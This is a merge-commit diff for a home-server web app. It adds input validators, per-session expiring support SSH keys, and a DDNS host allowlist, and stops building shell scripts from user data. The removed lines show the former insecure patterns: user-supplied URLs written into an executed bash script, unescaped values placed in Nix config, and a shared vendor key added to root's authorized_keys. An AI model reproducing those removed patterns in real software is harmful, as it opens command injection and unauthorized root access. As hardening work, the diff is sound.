Merge pull request #424 from naturallaw777/copilot/security-hardening-final

Security hardening: key removal, session expiry, DDNS validation, journal allowlist, and production-backed tests
This commit is contained in:
Copilot
2026-08-11 11:34:51 -05:00
committed by GitHub
9 changed files with 2165 additions and 182 deletions
@@ -0,0 +1,241 @@
"""Sovran Hub — pure security validation helpers.
This module contains the dependency-light security helper functions used by
the Hub server. Keeping them here allows tests to import and exercise the
exact production implementations rather than maintaining separate copies.
All functions in this module depend only on the Python standard library.
"""
from __future__ import annotations
import base64
import ipaddress
import re
import urllib.parse
# ── Nix string escaping ────────────────────────────────────────────────────────
def _nix_escape(value: str) -> str:
"""Escape *value* for use inside a Nix double-quoted string literal.
Handles backslashes, double-quotes, newlines, carriage returns, tabs, and
Nix-specific anti-quotation sequences (``${...}``). The returned value is
safe to embed as ``"<returned_value>"`` in generated Nix source.
"""
value = value.replace("\\", "\\\\")
value = value.replace('"', '\\"')
value = value.replace("\n", "\\n")
value = value.replace("\r", "\\r")
value = value.replace("\t", "\\t")
value = value.replace("${", "\\${")
return value
# ── Nostr npub validation (NIP-19 / Bech32) ───────────────────────────────────
# Fast pre-filter: "npub1" followed by exactly 58 lower-case bech32 characters.
NPUB_RE = re.compile(r"^npub1[023456789acdefghjklmnpqrstuvwxyz]{58}$")
_BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
_BECH32_GENERATOR = (0x3B6A57B2, 0x26508E6D, 0x1EA119FA, 0x3D4233DD, 0x2A1462B3)
def _bech32_polymod(values: list[int]) -> int:
chk = 1
for value in values:
top = chk >> 25
chk = ((chk & 0x1FFFFFF) << 5) ^ value
for i in range(5):
if (top >> i) & 1:
chk ^= _BECH32_GENERATOR[i]
return chk
def _bech32_hrp_expand(hrp: str) -> list[int]:
return [ord(c) >> 5 for c in hrp] + [0] + [ord(c) & 31 for c in hrp]
def _bech32_create_checksum(hrp: str, data: list[int]) -> list[int]:
values = _bech32_hrp_expand(hrp) + data
polymod = _bech32_polymod(values + [0, 0, 0, 0, 0, 0]) ^ 1
return [(polymod >> (5 * (5 - i))) & 31 for i in range(6)]
def _bech32_convertbits_decode(data: list[int]) -> list[int] | None:
"""Convert a 5-bit integer sequence to 8-bit bytes, stripping padding."""
acc = 0
bits = 0
ret: list[int] = []
for value in data:
acc = (acc << 5) | value
bits += 5
while bits >= 8:
bits -= 8
ret.append((acc >> bits) & 0xFF)
if bits >= 5 or ((acc << (8 - bits)) & 0xFF):
return None # invalid padding
return ret
def _bech32_decode(bech: str) -> tuple[str, bytes] | None:
"""Decode a bech32 string. Returns ``(hrp, payload_bytes)`` or ``None``.
Verifies:
- Lowercase-only (mixed case rejected per BIP-173).
- Only valid bech32 charset characters.
- Valid checksum.
- Exactly one separator (``1``).
- Minimum data part length (≥ 8 chars = 6 checksum + ≥ 2 data).
"""
if bech != bech.lower():
return None # mixed case
sep = bech.rfind("1")
if sep < 1 or sep + 7 > len(bech):
return None
hrp = bech[:sep]
data_part = bech[sep + 1:]
if any(c not in _BECH32_CHARSET for c in data_part):
return None
decoded = [_BECH32_CHARSET.index(c) for c in data_part]
if _bech32_polymod(_bech32_hrp_expand(hrp) + decoded) != 1:
return None # bad checksum
converted = _bech32_convertbits_decode(decoded[:-6])
if converted is None:
return None
return hrp, bytes(converted)
def _validate_npub(value: str) -> bool:
"""Return ``True`` iff *value* is a valid NIP-19 Nostr npub.
Checks:
- Lowercase ``npub`` HRP.
- Valid bech32 charset (no uppercase, no invalid chars).
- Valid bech32 checksum.
- Exactly 32 decoded payload bytes (256-bit public key).
- Retains the original regex as a fast pre-filter.
"""
if not NPUB_RE.fullmatch(value):
return False
result = _bech32_decode(value)
if result is None:
return False
hrp, payload = result
return hrp == "npub" and len(payload) == 32
# ── DDNS URL validation ────────────────────────────────────────────────────────
_DDNS_URL_MAX_LEN = 2048
_DDNS_CONTROL_RE = re.compile(r"[\x00-\x1f\x7f]")
# Allowlist: only the official Njal.la provider hostnames are accepted for
# DDNS update URLs. Any other host would allow SSRF against the Hub's
# internal network.
_DDNS_ALLOWED_HOSTNAMES: frozenset[str] = frozenset(["njal.la", "www.njal.la"])
def _validate_ddns_url(url: str) -> str:
"""Validate *url* as a safe DDNS update URL and return it normalised.
Rules:
- Must be a valid URL parseable by urllib.parse.
- Scheme must be ``https`` (case-insensitive).
- No userinfo (credentials must not be embedded in the URL).
- No fragment.
- No control characters.
- Must not exceed ``_DDNS_URL_MAX_LEN`` bytes.
- Hostname must be the exact Njal.la provider hostname (njal.la or www.njal.la).
- Port must be absent or the default HTTPS port 443.
- No percent-encoded null bytes.
Raises ``ValueError`` with a safe (non-secret) message on failure.
"""
if not url:
raise ValueError("DDNS URL must not be empty")
if len(url) > _DDNS_URL_MAX_LEN:
raise ValueError("DDNS URL exceeds maximum length")
if _DDNS_CONTROL_RE.search(url):
raise ValueError("DDNS URL contains control characters")
try:
parsed = urllib.parse.urlparse(url)
except Exception:
raise ValueError("DDNS URL could not be parsed")
if parsed.scheme.lower() != "https":
raise ValueError("DDNS URL must use the https scheme")
if parsed.username or parsed.password:
raise ValueError("DDNS URL must not contain credentials")
if parsed.fragment:
raise ValueError("DDNS URL must not contain a fragment")
if parsed.port is not None and parsed.port != 443:
raise ValueError("DDNS URL must use the default HTTPS port")
hostname = parsed.hostname or ""
if not hostname:
raise ValueError("DDNS URL must contain a hostname")
# Reject raw IP addresses
try:
ipaddress.ip_address(hostname)
raise ValueError("DDNS URL hostname must not be a raw IP address")
except ValueError as exc:
if "raw IP" in str(exc):
raise
# Allowlist: only Njal.la
if hostname.lower() not in _DDNS_ALLOWED_HOSTNAMES:
raise ValueError(
f"DDNS URL hostname is not an allowed Njal.la host "
f"(got {hostname!r})"
)
if "%00" in url.lower():
raise ValueError("DDNS URL must not contain encoded null bytes")
# Reject any remaining $ expressions — after ${IP} substitution there
# must be none. Callers that store ${IP} placeholder URLs must substitute
# before calling this function.
if "$" in url:
raise ValueError("DDNS URL must not contain $ expressions")
# Require the exact /update/ path used by Njal.la
if parsed.path != "/update/":
raise ValueError("DDNS URL path must be exactly /update/")
return url
# ── SSH public-key validation ─────────────────────────────────────────────────
_SSH_PUBKEY_ALGORITHMS = frozenset([
"ssh-ed25519",
"ecdsa-sha2-nistp256",
"ecdsa-sha2-nistp384",
"ecdsa-sha2-nistp521",
"sk-ssh-ed25519@openssh.com",
])
def _validate_ssh_pubkey(key: str) -> str:
"""Validate *key* as a single OpenSSH public key and return it normalised.
Accepts only single-line keys with a supported algorithm, valid base64
payload, and an optional comment. Rejects options, multiple lines,
control characters, and unsupported algorithms.
Raises ``ValueError`` with a safe message on failure.
"""
key = key.strip()
if not key:
raise ValueError("SSH public key must not be empty")
if _DDNS_CONTROL_RE.search(key):
raise ValueError("SSH public key contains control characters")
if "\n" in key or "\r" in key:
raise ValueError("SSH public key must be a single line")
parts = key.split()
if len(parts) < 2:
raise ValueError("SSH public key is malformed")
algo, b64 = parts[0], parts[1]
if algo not in _SSH_PUBKEY_ALGORITHMS:
raise ValueError(f"Unsupported SSH key algorithm: {algo!r}")
try:
decoded = base64.b64decode(b64, validate=True)
except Exception:
raise ValueError("SSH public key payload is not valid base64")
if len(decoded) < 20:
raise ValueError("SSH public key payload is too short")
return key
+348 -137
View File
@@ -19,10 +19,12 @@ import shutil
import socket
import subprocess
import tempfile
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
from threading import Lock
from fastapi import FastAPI, HTTPException
@@ -37,6 +39,20 @@ from starlette.middleware.base import BaseHTTPMiddleware
from .config import load_config, load_versions
from . import systemctl as sysctl
from . import nwc_hub_manager as _nwc_mgr
from . import support_ops as _support_ops
from .security_helpers import (
_nix_escape,
NPUB_RE,
_validate_npub,
_validate_ddns_url,
_validate_ssh_pubkey,
_DDNS_URL_MAX_LEN,
_DDNS_CONTROL_RE,
_DDNS_ALLOWED_HOSTNAMES,
_SSH_PUBKEY_ALGORITHMS,
_bech32_decode,
_bech32_convertbits_decode,
)
logger = logging.getLogger(__name__)
@@ -82,6 +98,10 @@ HUB_END = " # ── End Hub Managed ────────────
DOMAINS_DIR = "/var/lib/domains"
NOSTR_NPUB_FILE = "/var/lib/secrets/nostr_npub"
NJALLA_SCRIPT = "/var/lib/njalla/njalla.sh"
NJALLA_DDNS_URLS_FILE = "/var/lib/njalla/ddns_urls.json"
# Nostr npub validation, SSH pubkey validation, DDNS URL validation, and
# Nix escaping are imported from security_helpers (single source of truth).
# Systemd service that rewrites the Sovran-managed /etc/hosts loopback block
SOVRAN_HOSTS_SERVICE = "sovran-hosts-update.service"
@@ -123,7 +143,7 @@ LOGIN_FAIL_WINDOW = 60.0 # rolling window (seconds) for counting failures
LOGIN_FAIL_MAX = 10 # max failures in window before extra delay
# Public paths that are accessible without a valid session
_AUTH_EXEMPT_PATHS = {"/login", "/api/login", "/api/updates/status", "/api/rebuild/status", "/auto-login", "/api/ping", "/api/reboot"}
_AUTH_EXEMPT_PATHS = {"/login", "/api/login", "/auto-login", "/api/ping"}
# Prefixes for static assets required by the login page
_AUTH_EXEMPT_PREFIXES = (
"/static/css/",
@@ -140,11 +160,13 @@ SUPPORT_KEY_FILE = "/root/.ssh/sovran_support_authorized"
AUTHORIZED_KEYS = "/root/.ssh/authorized_keys"
SUPPORT_STATUS_FILE = "/var/lib/secrets/support-session-status"
# Sovran Systems tech support public key
SOVRAN_SUPPORT_PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP free@nixos"
SUPPORT_KEY_COMMENT = "sovransystemsos-support"
# Maximum duration for a support session in seconds (24 hours).
# After this time the session is automatically expired on startup and on any
# support status/wallet operation.
SUPPORT_SESSION_MAX_SECONDS = 86400 # 24 hours
# Dedicated restricted support user (non-root) for wallet privacy
SUPPORT_USER = "sovran-support"
SUPPORT_USER_HOME = "/var/lib/sovran-support"
@@ -166,6 +188,11 @@ PROTECTED_WALLET_PATHS: list[str] = [
"/home",
]
# Server-side independent expiry timer for the active support session.
# Scheduled when a session is enabled; cancelled when disabled.
_support_expiry_timer: threading.Timer | None = None
_support_expiry_timer_lock = Lock()
CATEGORY_ORDER = [
("infrastructure", "Infrastructure"),
("bitcoin-base", "Bitcoin Base"),
@@ -1847,11 +1874,11 @@ def _write_hub_overrides(features: dict, nostr_npub: str | None, timezone: str |
else:
lines.append(f" sovran_systemsOS.features.{feat_id} = lib.mkForce {val};")
if nostr_npub:
lines.append(f' sovran_systemsOS.nostr_npub = lib.mkForce "{nostr_npub}";')
lines.append(f' sovran_systemsOS.nostr_npub = lib.mkForce "{_nix_escape(nostr_npub)}";')
if timezone:
lines.append(f' time.timeZone = lib.mkForce "{timezone}";')
lines.append(f' time.timeZone = lib.mkForce "{_nix_escape(timezone)}";')
if locale:
lines.append(f' i18n.defaultLocale = lib.mkForce "{locale}";')
lines.append(f' i18n.defaultLocale = lib.mkForce "{_nix_escape(locale)}";')
hub_block = (
HUB_BEGIN + "\n"
+ "\n".join(lines) + ("\n" if lines else "")
@@ -1882,8 +1909,20 @@ def _write_hub_overrides(features: dict, nostr_npub: str | None, timezone: str |
return
content = content[:last_brace] + "\n" + hub_block + content[last_brace:]
with open(CUSTOM_NIX, "w") as f:
f.write(content)
# Atomic write: write to a temp file next to custom.nix then rename so the
# file is never left in a partially-written state if the process is killed.
nix_dir = os.path.dirname(CUSTOM_NIX) or "."
fd, tmp_path = tempfile.mkstemp(dir=nix_dir, prefix=".custom_nix_tmp")
try:
with os.fdopen(fd, "w") as f:
f.write(content)
os.replace(tmp_path, CUSTOM_NIX)
except Exception:
try:
os.unlink(tmp_path)
except OSError:
pass
raise
def _migrate_strip_deprecated_features() -> None:
@@ -1949,23 +1988,32 @@ def _is_sshd_feature_enabled() -> bool:
# ── Tech Support helpers ──────────────────────────────────────────
def _is_support_active() -> bool:
"""Check if the support key is currently in authorized_keys or support user's authorized_keys."""
# Check support user's authorized_keys first
"""Check if a per-session support key is currently installed."""
_expire_support_if_stale()
try:
with open(SUPPORT_USER_AUTH_KEYS, "r") as f:
if SUPPORT_KEY_COMMENT in f.read():
return True
except FileNotFoundError:
pass
# Fall back to root authorized_keys
try:
with open(AUTHORIZED_KEYS, "r") as f:
content = f.read()
return SUPPORT_KEY_COMMENT in content
return bool(f.read().strip())
except FileNotFoundError:
return False
def _expire_support_if_stale() -> bool:
"""If an active support session has passed its expiry time, disable it.
Returns ``True`` if a session was expired, ``False`` otherwise.
This is called automatically from ``_is_support_active()`` and from
startup, so expiry is enforced even if the user never calls
``/api/support/disable``.
"""
return _support_ops.expire_if_stale(
SUPPORT_STATUS_FILE,
clock_fn=time.time,
disable_fn=_disable_support,
audit_fn=_log_support_audit,
max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
)
def _get_support_session_info() -> dict:
"""Read support session metadata."""
try:
@@ -2116,60 +2164,104 @@ def _get_wallet_unlock_info() -> dict:
return {}
def _enable_support() -> bool:
"""Add the Sovran support public key to the restricted support user's authorized_keys.
# The exact base64 blob of the historical fleet-wide root support key is defined
# in support_ops.LEGACY_ROOT_KEY_BLOB and used by _remove_legacy_root_support_key().
Falls back to root's authorized_keys if the support user cannot be created.
Applies POSIX ACLs to wallet directories to prevent access by the support
user without explicit user consent.
def _remove_legacy_root_support_key() -> bool:
"""One-time upgrade migration: remove the exact historical fleet-wide support key.
Identifies the key by its exact base64 blob, regardless of algorithm prefix
or comment field. All other keys, blank lines, and comment lines are
preserved. The file is written atomically.
Returns ``True`` if the file was updated, ``False`` if unchanged or absent.
"""
return _support_ops.remove_legacy_root_key(
AUTHORIZED_KEYS,
_support_ops.LEGACY_ROOT_KEY_BLOB,
audit_fn=_log_support_audit,
)
def _enable_support(pubkey: str) -> bool:
"""Install a per-session SSH public key for the restricted support user.
The key is written only to the ``sovran-support`` account's
``authorized_keys`` (atomically); root's ``authorized_keys`` is never
modified. Applies POSIX ACLs to wallet directories to prevent access by
the support user without explicit user consent.
Args:
pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line).
"""
try:
use_restricted_user = _ensure_support_user()
if use_restricted_user:
os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True)
with open(SUPPORT_USER_AUTH_KEYS, "w") as f:
f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
os.chmod(SUPPORT_USER_AUTH_KEYS, 0o600)
# Atomic write: mkstemp + os.replace
fd, tmp_keys = tempfile.mkstemp(
dir=SUPPORT_USER_SSH_DIR, prefix=".authorized_keys_tmp"
)
try:
with os.fdopen(fd, "w") as f:
f.write(pubkey.strip() + "\n")
os.chmod(tmp_keys, 0o600)
try:
pw = pwd.getpwnam(SUPPORT_USER)
os.chown(tmp_keys, pw.pw_uid, pw.pw_gid)
except Exception:
pass
os.replace(tmp_keys, SUPPORT_USER_AUTH_KEYS)
except Exception:
try:
os.unlink(tmp_keys)
except OSError:
pass
raise
try:
pw = pwd.getpwnam(SUPPORT_USER)
os.chown(SUPPORT_USER_AUTH_KEYS, pw.pw_uid, pw.pw_gid)
os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid)
except Exception:
pass
else:
# Fallback: add key to root's authorized_keys
os.makedirs("/root/.ssh", mode=0o700, exist_ok=True)
with open(SUPPORT_KEY_FILE, "w") as f:
f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
os.chmod(SUPPORT_KEY_FILE, 0o600)
existing = ""
try:
with open(AUTHORIZED_KEYS, "r") as f:
existing = f.read()
except FileNotFoundError:
pass
if SUPPORT_KEY_COMMENT not in existing:
with open(AUTHORIZED_KEYS, "a") as f:
f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
os.chmod(AUTHORIZED_KEYS, 0o600)
# Support user could not be created; fail closed rather than
# falling back to root's authorized_keys.
return False
acl_applied = _apply_wallet_acls() if use_restricted_user else False
wallet_paths = _get_existing_wallet_paths()
session_id = str(uuid.uuid4())
expires_at = time.time() + SUPPORT_SESSION_MAX_SECONDS
session_info = {
"session_id": session_id,
"enabled_at": time.time(),
"enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"),
"expires_at": expires_at,
"use_restricted_user": use_restricted_user,
"wallet_protected": use_restricted_user,
"acl_applied": acl_applied,
"protected_paths": wallet_paths,
}
os.makedirs(os.path.dirname(SUPPORT_STATUS_FILE), exist_ok=True)
with open(SUPPORT_STATUS_FILE, "w") as f:
json.dump(session_info, f)
# Atomic write of session metadata
status_dir = os.path.dirname(SUPPORT_STATUS_FILE)
os.makedirs(status_dir, exist_ok=True)
fd2, tmp_status = tempfile.mkstemp(dir=status_dir, prefix=".support-session-tmp")
try:
with os.fdopen(fd2, "w") as f:
json.dump(session_info, f)
os.replace(tmp_status, SUPPORT_STATUS_FILE)
except Exception:
try:
os.unlink(tmp_status)
except OSError:
pass
raise
# Schedule server-side independent expiry timer
_schedule_expiry_timer(session_id, expires_at)
_log_support_audit(
"SUPPORT_ENABLED",
@@ -2181,27 +2273,62 @@ def _enable_support() -> bool:
return False
def _schedule_expiry_timer(session_id: str, expires_at: float) -> None:
"""Schedule a server-side timer to expire the support session at ``expires_at``.
Cancels any previously scheduled timer first. The timer callback compares
the stored session_id and expires_at to prevent a stale timer (for an
older session) from revoking a replacement session.
"""
global _support_expiry_timer
delay = max(0.0, expires_at - time.time())
with _support_expiry_timer_lock:
if _support_expiry_timer is not None:
_support_expiry_timer.cancel()
t = threading.Timer(delay, _auto_expire_support, args=[session_id, expires_at])
t.daemon = True
t.start()
_support_expiry_timer = t
def _cancel_expiry_timer() -> None:
"""Cancel the active server-side support expiry timer if one is running."""
global _support_expiry_timer
with _support_expiry_timer_lock:
if _support_expiry_timer is not None:
_support_expiry_timer.cancel()
_support_expiry_timer = None
def _auto_expire_support(session_id: str, expected_expiry: float) -> None:
"""Timer callback: expire the session only if it still matches session_id / expires_at.
A stale timer for an older session must never revoke a replacement session.
"""
_support_ops.expire_if_stale(
SUPPORT_STATUS_FILE,
clock_fn=time.time,
disable_fn=_disable_support,
audit_fn=_log_support_audit,
session_id=session_id,
expected_expiry=expected_expiry,
max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
)
def _disable_support() -> bool:
"""Remove the Sovran support public key and revoke all wallet access."""
"""Remove the per-session support key and restore wallet protection."""
try:
# Cancel any pending expiry timer
_cancel_expiry_timer()
# Remove from support user's authorized_keys
try:
os.remove(SUPPORT_USER_AUTH_KEYS)
except FileNotFoundError:
pass
# Remove from root's authorized_keys (fallback / legacy)
try:
with open(AUTHORIZED_KEYS, "r") as f:
lines = f.readlines()
filtered = [l for l in lines if SUPPORT_KEY_COMMENT not in l]
with open(AUTHORIZED_KEYS, "w") as f:
f.writelines(filtered)
os.chmod(AUTHORIZED_KEYS, 0o600)
except FileNotFoundError:
pass
# Remove the dedicated key file
# Remove the dedicated key file (legacy path, best-effort)
try:
os.remove(SUPPORT_KEY_FILE)
except FileNotFoundError:
@@ -2213,8 +2340,8 @@ def _disable_support() -> bool:
except FileNotFoundError:
pass
# Re-apply ACLs to ensure wallet access is revoked
_revoke_wallet_acls()
# Re-apply deny ACLs to restore wallet protection
_apply_wallet_acls()
# Remove session metadata
try:
@@ -2229,19 +2356,14 @@ def _disable_support() -> bool:
def _verify_support_removed() -> bool:
"""Verify the support key is truly gone from all authorized_keys files."""
"""Verify the support key is truly gone from the support user's authorized_keys."""
try:
with open(SUPPORT_USER_AUTH_KEYS, "r") as f:
if SUPPORT_KEY_COMMENT in f.read():
if f.read().strip():
return False
except FileNotFoundError:
pass
try:
with open(AUTHORIZED_KEYS, "r") as f:
content = f.read()
return SUPPORT_KEY_COMMENT not in content
except FileNotFoundError:
return True # No file = no key = removed
return True
# ── Routes ───────────────────────────────────────────────────────
@@ -3855,10 +3977,24 @@ async def api_support_status():
}
class SupportEnableRequest(BaseModel):
ssh_public_key: str
@app.post("/api/support/enable")
async def api_support_enable():
"""Add the Sovran support SSH key to allow remote tech support.
Requires the sshd feature to be enabled first."""
async def api_support_enable(req: SupportEnableRequest):
"""Install a per-session SSH public key for the restricted support account.
The caller must supply a validated Ed25519 or ECDSA public key. The key
is installed only for the ``sovran-support`` restricted user; root's
``authorized_keys`` is never modified. SSH must be enabled first.
"""
# Validate the submitted public key before doing anything else
try:
validated_key = _validate_ssh_pubkey(req.ssh_public_key)
except ValueError as exc:
raise HTTPException(status_code=400, detail=f"Invalid SSH public key: {exc}")
loop = asyncio.get_event_loop()
# Gate: SSH feature must be enabled before support can be activated
@@ -3869,7 +4005,7 @@ async def api_support_enable():
detail="SSH must be enabled first. Please enable SSH Remote Access, then try again.",
)
ok = await loop.run_in_executor(None, _enable_support)
ok = await loop.run_in_executor(None, _enable_support, validated_key)
if not ok:
raise HTTPException(status_code=500, detail="Failed to enable support access")
return {"ok": True, "message": "Support access enabled"}
@@ -4212,6 +4348,8 @@ async def api_features_toggle(req: FeatureToggleRequest):
if req.feature == "haven":
npub = (req.extra or {}).get("nostr_npub", "").strip()
if npub:
if not _validate_npub(npub):
raise HTTPException(status_code=400, detail="Invalid Nostr npub (must be npub1 followed by 58 bech32 characters with valid checksum)")
nostr_npub = npub
elif not nostr_npub:
raise HTTPException(status_code=400, detail="nostr_npub is required for Haven")
@@ -4227,6 +4365,8 @@ async def api_features_toggle(req: FeatureToggleRequest):
# Persist any extra fields (nostr_npub)
new_npub = (req.extra or {}).get("nostr_npub", "").strip()
if new_npub:
if not _validate_npub(new_npub):
raise HTTPException(status_code=400, detail="Invalid Nostr npub (must be npub1 followed by 58 bech32 characters with valid checksum)")
nostr_npub = new_npub
try:
os.makedirs(os.path.dirname(NOSTR_NPUB_FILE), exist_ok=True)
@@ -4238,11 +4378,10 @@ async def api_features_toggle(req: FeatureToggleRequest):
await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale)
# When enabling a feature that relies on dynamic DNS, refresh the Njal.la
# records right away instead of waiting for the 15-minute cron tick.
# records right away instead of waiting for the 15-minute timer tick.
# The newly enabled service needs DNS pointing at this machine as soon as
# the rebuild finishes (cert issuance, reachability).
if req.enabled and feat_meta.get("needs_ddns"):
await loop.run_in_executor(None, _ensure_njalla_script)
await loop.run_in_executor(None, _run_njalla_ddns)
# Clear the old rebuild log so the frontend doesn't pick up stale results
@@ -4349,75 +4488,107 @@ def _validate_safe_name(name: str) -> bool:
_NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER"
# Import the migration regex from support_ops so there is a single canonical
# definition used by both the production server and the test suite.
_LEGACY_NJALLA_CURL_RE = _support_ops._LEGACY_NJALLA_CURL_RE
def _ensure_njalla_script() -> None:
"""Create the base njalla.sh (shebang + public-IP lookup) if it is missing.
The Hub appends DDNS curl lines to this script, and those lines use ${IP}.
If the file exists only because of an append (e.g. the web app saved a
domain before the njalla-init systemd unit ran), it would lack the IP
lookup — ${IP} would expand empty during cron runs and the file couldn't
be executed directly. Keep in sync with modules/core/njalla.nix.
def _migrate_legacy_njalla_script() -> None:
"""Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store.
Reads ``njalla.sh`` without executing or sourcing it. Parses only the
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
versions. Delegates to ``support_ops.migrate_legacy_njalla_script`` so
tests can exercise the same code path.
After migration the script is archived with permissions 0o000 so it can
no longer be executed. If persistence fails the script is left untouched.
"""
njalla_dir = os.path.dirname(NJALLA_SCRIPT)
_support_ops.migrate_legacy_njalla_script(
NJALLA_SCRIPT,
_validate_ddns_url,
_save_ddns_urls,
_load_ddns_urls,
audit_fn=_log_support_audit,
)
def _load_ddns_urls() -> list[str]:
"""Return the list of validated DDNS update URLs from the JSON store."""
try:
with open(NJALLA_DDNS_URLS_FILE, "r") as f:
data = json.load(f)
if isinstance(data, list):
return [u for u in data if isinstance(u, str)]
except (OSError, json.JSONDecodeError):
pass
return []
def _save_ddns_urls(urls: list[str]) -> None:
"""Persist the list of DDNS update URLs to the JSON store (atomic write)."""
njalla_dir = os.path.dirname(NJALLA_DDNS_URLS_FILE)
if njalla_dir:
os.makedirs(njalla_dir, exist_ok=True)
existing = ""
fd, tmp = tempfile.mkstemp(dir=njalla_dir, prefix=".ddns_urls_tmp")
try:
with open(NJALLA_SCRIPT, "r") as f:
existing = f.read()
except OSError:
pass
# Use a unique sentinel instead of substring domain check — avoids
# CodeQL py/incomplete-url-substring-sanitization false positive and
# is more robust than matching "myip.opendns.com" anywhere in file.
if _NJALLA_HEADER_SENTINEL in existing:
return # base header already present
# Backwards compat: old files have the dig line but no sentinel.
# Check for the dig marker without using a domain substring to avoid
# CodeQL py/incomplete-url-substring-sanitization.
if "IP=$(dig" in existing:
# Migrate old file by prepending sentinel for future checks
with os.fdopen(fd, "w") as f:
json.dump(urls, f)
os.replace(tmp, NJALLA_DDNS_URLS_FILE)
except Exception:
try:
with open(NJALLA_SCRIPT, "r") as f:
old_content = f.read()
with open(NJALLA_SCRIPT, "w") as f:
f.write(f"{_NJALLA_HEADER_SENTINEL}\n" + old_content)
os.chmod(NJALLA_SCRIPT, 0o755)
os.unlink(tmp)
except OSError:
pass
return
header = (
"#!/usr/bin/env bash\n"
f"{_NJALLA_HEADER_SENTINEL}\n"
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n\n"
"## Add DDNS entries below — one curl per line\n"
"## Managed via Sovran Hub web interface\n"
)
try:
with open(NJALLA_SCRIPT, "w") as f:
f.write(header + existing)
os.chmod(NJALLA_SCRIPT, 0o755)
except OSError:
pass
raise
def _run_njalla_ddns() -> None:
"""Run the Njal.la DDNS script immediately (best-effort).
"""Update Njal.la DDNS records immediately (best-effort).
Resolves the current public IP once, then invokes ``curl`` directly as a
subprocess for each stored DDNS update URL. No shell interpolation is
performed and no user-controlled value is interpreted as shell syntax.
Each URL is revalidated through ``_validate_ddns_url()`` after ``${IP}``
substitution; URLs that fail validation are silently skipped.
Called when a domain/DDNS entry is saved and when a DDNS-backed feature
is enabled, so DNS is refreshed right away instead of waiting for the
15-minute cron job (see configuration.nix).
15-minute timer tick (see modules/core/njalla.nix).
"""
if not os.path.isfile(NJALLA_SCRIPT):
urls = _load_ddns_urls()
if not urls:
return
# Resolve current public IP (best-effort; skip if unavailable)
public_ip = ""
try:
subprocess.run(
["bash", NJALLA_SCRIPT], timeout=30, check=False,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
ip_result = subprocess.run(
["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
capture_output=True, text=True, timeout=10, check=False,
)
raw_ip = ip_result.stdout.strip().splitlines()[0] if ip_result.stdout.strip() else ""
# Validate strictly as a proper IPv4/IPv6 address before substitution
ipaddress.ip_address(raw_ip)
public_ip = raw_ip
except Exception:
pass
public_ip = ""
if not public_ip:
return # skip to avoid sending bare ${IP} to curl
for raw_url in urls:
try:
# Replace the placeholder with the validated IP (safe string replacement)
url = raw_url.replace("${IP}", public_ip)
# Revalidate after substitution — enforces /update/ path, no $, etc.
_validate_ddns_url(url)
subprocess.run(
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
timeout=20, check=False,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
except Exception:
pass
def _reload_caddy_for_domain_change() -> None:
@@ -4550,25 +4721,29 @@ async def api_domains_set(req: DomainSetRequest):
if req.ddns_url:
ddns_url = req.ddns_url.strip()
# Strip leading "curl " if present
# Strip leading "curl " if user pasted the full command from Njalla's UI
if ddns_url.lower().startswith("curl "):
ddns_url = ddns_url[5:].strip()
# Strip surrounding quotes
if len(ddns_url) >= 2 and ddns_url[0] in ('"', "'") and ddns_url[-1] == ddns_url[0]:
ddns_url = ddns_url[1:-1]
# Replace trailing &auto with &a=${IP}
# Replace trailing &auto with the IP placeholder used by _run_njalla_ddns
if ddns_url.endswith("&auto"):
ddns_url = ddns_url[:-5] + "&a=${IP}"
# Append curl line to njalla.sh, creating the base script first if
# needed so the shebang/IP lookup are present for this run and cron.
_ensure_njalla_script()
with open(NJALLA_SCRIPT, "a") as f:
f.write(f'curl "{ddns_url}"\n')
# Validate URL strictly — reject injection attempts before persisting
try:
os.chmod(NJALLA_SCRIPT, 0o755)
ddns_url = _validate_ddns_url(ddns_url)
except ValueError as exc:
raise HTTPException(status_code=400, detail=f"Invalid DDNS URL: {exc}")
# Persist the URL in the JSON store (never in executable shell source)
existing_urls = _load_ddns_urls()
if ddns_url not in existing_urls:
existing_urls.append(ddns_url)
try:
_save_ddns_urls(existing_urls)
except OSError:
pass
# Run njalla.sh immediately to update DNS
# Run DDNS update immediately
_run_njalla_ddns()
# Regenerate the server-local /etc/hosts loopback entries so the newly
@@ -6023,9 +6198,44 @@ async def _startup_domain_reachability():
_domain_reachability_task = asyncio.create_task(_background_domain_reachability_checker())
@app.on_event("startup")
async def _startup_security_migrations():
"""Run one-time security upgrade migrations on every server start."""
loop = asyncio.get_event_loop()
# Migrate legacy njalla.sh DDNS lines to JSON store and archive the script
await loop.run_in_executor(None, _migrate_legacy_njalla_script)
# Remove the legacy fleet-wide support key from /root/.ssh/authorized_keys
await loop.run_in_executor(None, _remove_legacy_root_support_key)
# Expire any support session that has passed its deadline
await loop.run_in_executor(None, _expire_support_if_stale)
# Reconcile the expiry timer: if a valid session survived startup expiry,
# schedule the server-side timer so expiry occurs even without user activity.
await loop.run_in_executor(None, _reconcile_expiry_timer)
def _reconcile_expiry_timer() -> None:
"""Reschedule the expiry timer from persisted session metadata on startup.
Called after ``_expire_support_if_stale`` so only still-valid sessions are
rescheduled. Cancels any previously running timer first.
"""
try:
with open(SUPPORT_STATUS_FILE, "r") as f:
info = json.load(f)
